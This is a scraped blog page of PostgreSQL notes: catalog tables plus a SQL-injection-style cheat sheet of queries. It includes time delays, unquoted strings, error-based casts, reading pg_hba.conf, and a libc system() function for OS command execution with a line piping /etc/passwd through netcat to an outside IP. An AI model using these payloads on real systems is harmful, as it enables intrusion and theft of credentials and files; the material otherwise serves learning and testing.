首页 > 数据库 >postgresql database basis

postgresql database basis

时间:2023-08-03 09:36:05浏览次数:32  
标签:postgresql database basis etc user such select pg

postgresql basis

the system catalog tables of psotgresql include the following tables:

  • pg_databases:contains information about all databases, such as database name, owner, character set, etc
  • pg_tablespace: contains information about all table spaces, such as table space name, location, etc.
  • pg_class:contains information about all objects such as tables, indexes, sequences, etc., such as object name, schema, object type, etc.
  • pg_attribute:contains information about columns of all objects such as tables, views, indexes, etc., such as column name, data type, whether it is a primary key, etc.
  • pg_index: contains information about all indexes, such as index name, associated table, index type, etc.
  • pg_namespace: contains information about all schemas, such as schema name, associated database, etc.
  • pg_user: contains information about all users, such as username, password, whether it is a superuser, etc.
  • pg_roles: contains information about all roles, such as role name, whether it is a superuser, etc.
  • pg_authid: contains information about all authentication, such as username, password, role, etc

 

query & command

version --select version();

list users -- select username from pg_user;#-obtains the colum 'username' from table pg_user

create db account -- create user victor with password 'pass123';

current user

  • select user  ##obtains a name of recently logged in user
  • select current_user ##obtains a name of current user.
  • select session_user
  • select useranme from pg_user;
  • select getpgusername(); ##obtains the user name in current session

list all database select datname from pg_database; ##obtains the list of database in column 'datname' from table 'pg_database'

current database select current_database() 

load file select  pg_read_file('global/pg_hba.conf',0,10000000); ##this command is used to read only the content of the data directory 

list tables select c.relname from pg_catalog.pg_class c left join pg_catalog.pg_namespace n on n.oid=c.relnamespace where c.relkind in('r','') and n.nspname not in('pg_catalog','pg_toast') and pg_catalog.pg_table_is_visible(c.oid); ##lists the tables present in the database

list columns select relname,A.attname from pg_class C,pg_namespace N,pg_attribute A,pg_type T where (c.relkind='r') and (N.oid=C.relnamespace) and (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’);  ##lists the columns present in the database

case statement select case when(1=1) then 'A' else 'B' end; ##returns A

string without quotes select (CHAR(75)||CHAR(76)||CHAR(77)) ##return KLM

time delay select pg_sleep(10); 

command execution create or replace function system(cstring)returns int as '/lib/libc.so.6','system' language 'C' strict; -priv

          select system('cat /etc/passwd |nc 10.10.10.1 8080');##run as pgsql os user

select * from mydata where 1=(select cast((chr(95)||current_database()) as numeric);

 

 related to che_sql

标签:postgresql,database,basis,etc,user,such,select,pg
From: https://www.cnblogs.com/lisenMiller/p/17593160.html

相关文章

  • postgresql 配置相关
    配置含义32->192.168.1.1/32表示必须是来自这个IP地址的访问才合法;24->192.168.1.0/24表示只要来自192.168.1.0~192.168.1.255的都合法;16->192.168.0.0/16表示只要来自192.168.0.0~192.168.255.255的都合法;8->192.0.0.0/16表示只要来自192.0.0.0~192.255.......
  • 安防视频监控平台EasyCVR修改参数提示database or disk is full的原因排查
    EasyDarwin开源流媒体视频EasyCVR安防监控平台可提供视频监控直播、云端录像、云存储、录像检索与回看、智能告警、平台级联、云台控制、语音对讲、智能分析等能力。视频监控综合管理平台EasyCVR具备视频汇聚融合能力,平台基于云边端一体化架构,具有强大的数据接入、处理及分发能力,......
  • PostgreSQL-pg_upgrade 大版本升级14.7-15.2
    文档参考pg_upgrade1大纲pg_upgrade-boldbindir-Bnewbindir-doldconfigdir-Dnewconfigdir[option...]2描述PG_UPGRADE(以前称为PG_Migrator)允许将存储在PostgreSQL数据文件中的数据升级到较新的PostgreSQL主要版本,而无需进行主要版本升级通常所需的数据转储/恢复,例如......
  • JPA实体类映射PostgreSQL中的jsonb字段
    前言有时候我们需要在PostgreSQL表中存储jsonb类型的数据,JPA实体类中如何定义这个属性与之对应呢?本篇介绍两种方式:①自定义数据库方言和自定义类型②引入hibernate-types依赖方式一自定义数据库方言和自定义类型自定义方言publicclassCustomPostgreSqlDialect......
  • PostgreSQL-PITR 增量备份与恢复
    Point-in-TimeRecovery(PITR)基于时间点的备份(恢复)。归档对于PITR(增量备份与恢复)至关重要,如果归档不一致,会产生各种各样的问题。以下的测试截图中,我将归档清零,重新生成,再做相关PITR的操作。这里是简单的操作过程,详情查看相关的官方文档说明 26.3.ContinuousArchivingandPoi......
  • PostgreSQL-由于与数据库的某些自动连接而无法删除数据库
    PostgreSQL常见问题解决1.删除databaseDROPDATABASEviid; 执行上述sql报错信息如下:ERROR:database"viid"isbeingaccessedbyotherusersDETAIL:Thereis1othersessionusingthedatabase. 原因是有其他的session正在使用该数据库 解决方法:强......
  • PostgreSQL的使用
    显示所有用户和角色的权限\du显示所有表的权限\dp切换到myDatabase数据库\cmyDatabase使用username登录myDatabase数据库psql-Uusername-dmyDatabase;移除username在myDatabase数据库上的所有权限revokeallprivilegesondatabasemyDatabasefromusername;移除......
  • Database_command
    MongoDB&MySQL指令大全主要用于总结爬取信息时使用到的以及学习到的指令1、MongoDB指令2、MySQL指令1、MongoDB命令行指令:在安装路径的bin文件夹下打开命令行窗口后输入:mongo若已配置好了环境(将bin的路径加到环境变量里)则可在任意位置使用该指令showdbs......
  • postgresql | sql语句表名和列名引号问题
    根据您提供的SQL查询语句:SELECT*FROM"features"WHERE"layer"="FSHFAC"LIMIT10;在语法上看起来没有问题,但在实际运行时可能会出现一些问题,这取决于数据库和数据表的结构。表名和列名引号:在SQL中,使用双引号""可以将标识符(例如表名、列名等)加以引号。但是,要确保......
  • postgresql的相关利用
    有比较多的安全设备或者web系统使用postgresql作为数据库,研究postgresql数据库如何getshell将有很大帮助外联postgresql默认本地连接(5432端口),远程连接需要找到postgres安装目录下的/data/pg_hba.conf,在IPv4配置处加上:hostallall192.168.0.1/24scram-sha-256之后重启post......